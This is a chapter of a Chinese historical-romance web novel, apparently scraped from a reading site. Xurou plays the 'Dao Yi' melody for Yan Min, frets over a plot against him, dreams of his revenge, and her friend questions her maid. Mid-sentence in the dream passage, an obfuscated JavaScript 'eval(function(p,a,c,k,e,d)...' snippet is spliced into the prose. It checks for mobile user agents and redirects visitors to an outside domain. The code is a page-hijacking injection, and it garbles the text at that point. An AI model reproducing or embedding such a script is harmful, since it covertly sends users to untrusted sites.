默认冷灰
24号文字
方正启体

18. 捣衣声

作者:脍骨刀本书字数:K更新时间:
    他是怎么知道她内心有愁怨的?


    即便是她方才弹奏的这首曲子,曲调也是轻松欢快的,如珠落玉盘,毫无哀切之情。


    絮柔怀疑此人是不是有读心术了。


    自己到底出了什么破绽,被他看出自己心思不纯了?她悄悄抬眼,睫羽轻颤,却又不敢直视,只恐被他那鹰隼般的眼睛瞧出些许端倪来。


    她缓缓一笑,垂眸抚摸琴弦:“絮娘幸得生在太平,双亲强健,长乐未央,不曾有什么愁绪。”


    晏旼见她双眸躲闪,丝毫不复从前那般,敢直勾勾地顶撞于他。便料想她定是受了什么委屈,知她也是惯会巧舌如簧分辨的,才说出这幅冠冕堂皇的车轱辘话粉饰。


    他方才心情畅意,没想到可以看她在自己面前抚琴。


    见她屏息凝神的样子,自带独一份的温婉,琴声如流水潺潺,洗净了他的内心,周身一切之事都浑然忘却,芸芸众生般似只有他和絮柔二人相坐。


    晏旼眉梢舒缓,渐渐沉醉在她的琴音里头。


    可是他听着听着,竟听出来这是《捣衣》。


    她想暗示什么呢?


    《捣衣》为潘庭坚所作,传达了妇女对远方亲人的思念之情以及对战争的怨恨,纵那曲调欢快,然其中隐隐透出的伤怀之意,亦是瞒不过人的。他在行军时,常常听到这样的曲声。


    琴音渐歇,絮柔眼中似凝着一层薄雾。


    他颇为心悦:“今日我还想答谢絮娘,刺客一案有了眉目。”


    “都督不必言谢。”絮柔下意识便说。


    晏旼的指尖顿了顿,眼眸微闪。


    絮柔发觉自己还是改不掉习惯叫他职称,但话已经说出口了,那便无需挂怀,况且晏旼这等人物,不会注意这些细枝末节的。


    仅仅一个称谓而已,哪里有那么重要。


    晏旼见她抚琴时,不经意露出的皓腕如雪,他忽然想起了在北地驻军时的月光。


    那天边的月光清冷洁白却遥不可及,在这荒芜严寒之地更显几分萧瑟,却抚平了他久经沙场,如烈火般躁动的性情。


    他也很想知道,那遥远又富贵京城里的月光,也如此般吗?


    面前佳人清冷的面孔上不再疏离,反倒是增添了几分笑意,不似那月光遥不可及,而是真真切切地坐在了他跟前,似白纱一般柔情。


    他想走过去,与她执手共奏,可又怕惊了她,断了这琴音,毁了这难得的氛围。


    终究还是疏离。


    “若有机会,我想亲自登府向令尊道谢。”


    他满脸真切,真心实意地想去报恩,那浑身的凌厉气质都少了几分。


    絮柔见他这般态度温和,反倒浑身起了寒颤。她故作讶异,有些不好意思的笑笑:“近日怕是不得空了,阿爹事务繁多,阿娘又有些抱恙。”


    她面上恳切,毫无推脱之意。


    实则她心里想的却是:我劝你识相点,自己麻溜滚出去!别等我叫人拿棍子赶,到时候连拉带拽地扔到街上。


    要是敢来,就算自己不把他赶出去,她二哥哥也会赶的。


    “我备了些薄礼,本想携礼亲往,现如今送礼而人未到,倒是欠些诚意了。”


    他语气中有些惋惜:“过几日我便要动身前往辰州,也许一段时日都不在京中,未能如愿,实乃可惜。”


    辰州?这不就是郡主他们商议的那些事吗?


    絮柔听见他提起这事,便有些慌了心神,像被人抓住把柄一样做贼心虚了起来。


    她心中疑虑丛生,为何他要告知自己近日的行程?难不成是要试探于她?


    但她又转念一想,此事应该尚未施行,不可能会走漏风声。


    而晏旼神色如常,云淡风轻地坐在榻上,望向她的目光温和,毫无猜疑和探究,似乎真的是为不能登门拜谢而深感无奈。


    絮柔觉得当着被害人的面,去思索这些,隐隐约约有些良心不安。


    可又不是她让郡主这么做的啊,不怕不怕。


    絮柔发觉自己这是第二次知道他的差事行程了,多言多败,多事多害,自己是不是知道的太多了,会招来祸患?


    她觉得像晏旼这样阴晴不定的人,是会将自己灭口的。


    她也不知如何作答,只好祝他前路平安:“那都督……”


    忽然晏旼出言打断她,语气冷冷,絮柔本就惴惴不安,这番更是不知他何意。


    只见他缓缓开口,带着一些倦意:“先前不是说改口吗,希望絮娘不要与我如此生分了。”


    絮柔一怔,原来是为了这个。


    她没想到晏旼会因为这个较真,但他态度强硬,只好别扭地改口:


    “那景炀……絮娘愿你此番辰州之行顺利,当日我定以杨柳相赠,望你此行平安顺遂、凯旋而归。”


    他眼中逐渐涌上笑意,很是满意,“多谢絮娘,我定会平安归来。”


    絮柔莞尔一笑,点了点头。


    晏旼本想问她,为何要帮自己,但他却觉得这不是一个好时机。


    他很想知道对方心里的答案。


    对方会不会也是像自己一样,可以义无反顾地为了她,不出于任何理由,仅仅是为了情意呢。


    他看向她温柔的面孔,心里渐渐认定,他决定等一切尘埃落定,辰州事务处理完便与她好好谈谈。


    絮柔回去的路上很是懊悔,今儿也不知是怎的了,心里头像蒙了层雾似的,空落落的没个着落,坐在浔阳楼半日,都只觉头绪乱得很。


    不但没有打探出那吴娘子的事,反而被他牵着走了。


    想起来每每与他交锋,他都是如此纵观全局,看似不动声色举棋不定,实际洞察秋毫。


    她有些怕了,她甚至想退出郡主陷害一事,她不想再和晏旼纠缠了,只盼着能离这人远些,可这几番事过后,不但没疏离他,反倒两人的感情越陷越深了。


    像是无形中有根线牵着,想躲也躲不开,真真让她厌烦。


    这不是一个好趋势。


    这样的愁绪,导致夜晚她也难以入睡。


    她辗转反侧,闭眼就是那人深邃的眼神,直勾勾地盯着他。


    待到她好不容易才入睡,偏又做了噩梦。


    她梦见晏旼被郡主陷害得惨烈,家破人亡。浑身都是血,恶狠狠地扯着她,说要找她报复,要将她也拖下地狱。


    忽然又画风一变,晏旼完好无损,平平安安归


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236694|181724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来。他发现了这一切的阴谋,于是以雷霆残忍的手段将此事的共谋者狠狠整治了一番。


    那手中的利剑手起刀落,郡主原本高傲的头颅,居然落在了满是泥尘的地上,咕噜一声滚到絮柔的眼前。


    她躲在床下,看着那凶神罗刹的脚步越走越近。


    那鬼魅般的声音,似在她耳侧盘旋,“絮娘别躲着我,快出来啊,只剩你了……”


    她“哇”地一声大喊,直直地被惊醒,猛地坐了起身,四周还回荡着她惊魂未定的声音。


    絮柔因为喜静,还体恤她房中的下人,一般不让她的小丫头守夜。她被这么一吓醒,不旦没人发觉,睁眼还面对着的是黑漆漆一片的床帐。


    那帷幔垂落下来的皱褶,层层叠叠,竟然被她盯出了一个个诡异恐怖的人脸,正都朝着她笑着。


    絮柔的心简直跌入谷底了,她惊慌失措,强忍着起身,摩挲点了一盏油灯,有光线充斥着四周,视野不再黑暗,她的心也平静了些许。


    她缓缓走到桌旁,倒了杯茶喝。


    温热的茶水沁入心肺,絮柔勉强稳了稳心神,却又难以平复,她很怕梦中的情形变成事实。


    白日里杨容霏来寻她,见她气色不佳,眉尖凝着化不开的愁绪,以为她又病了,下午又连忙携了家中的珍贵补品前来。


    她见絮柔睡下了,便悄声轻手轻脚地退出房间。


    她走到廊下,看见了絮柔最亲近的侍女霜儿,便连忙招了招手,唤她过来。


    霜儿正要去嘱咐小厨房煎药,见杨容霏一脸急切,便靠近了去。杨容霏压低了声音,担忧地问道:“絮娘这是怎么回事?前些日子好端端的,怎么又不见好了。”


    霜儿也很无奈,身旁的人也没有服侍不周,都精心精力的。她觉得自家娘子也许是累着了,絮柔这几日常常出府,甚至只带了那个侍卫红枫去,她没有跟在身前,也不知出了何事。


    霜儿摇了摇头,“三娘子前几日常常出府,许是累着了。”


    “我看这不像疲倦,往前我们纵马打球一整日,都不曾见她喊过一声累,如今倒像是心神被抽空了似的。”


    杨容霏觉得她这是心病,不好主动问絮柔,只好抓了她身边人来问。


    “这几日府中可有什么事?”


    霜儿思索了一番,不好直谈,简单地将能说的说了,杨容霏听了感觉一如寻常,没什么特别的。


    霜儿忽然又想到什么,她直言道:“前日晏府送来了好些东西,不过娘子看了,也并未放在心上。”


    杨容霏皱了皱眉,她思来想去,便觉得是晏旼对絮柔穷追不舍,用了这些恶劣的手段,才惹了她心烦的。


    她狠狠地一扭手帕,心里满是对这个寒门草莽的唾弃,他是什么身份,居然惦记上了她的絮柔。


    “若下次那人还送礼来,你们便不要呈到絮娘面前,免得她看了想到那人,徒增烦恼。”


    “是。”霜儿应声。


    此事已经箭在弦上了,杨容霏眼里闪过一丝精明,如今那些新贵们如此猖狂,丝毫不把她们这些世家放在眼里,她也是有目共睹的。


    如今居然招惹到了她身边的人,这次无论如何也不能轻轻放过了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)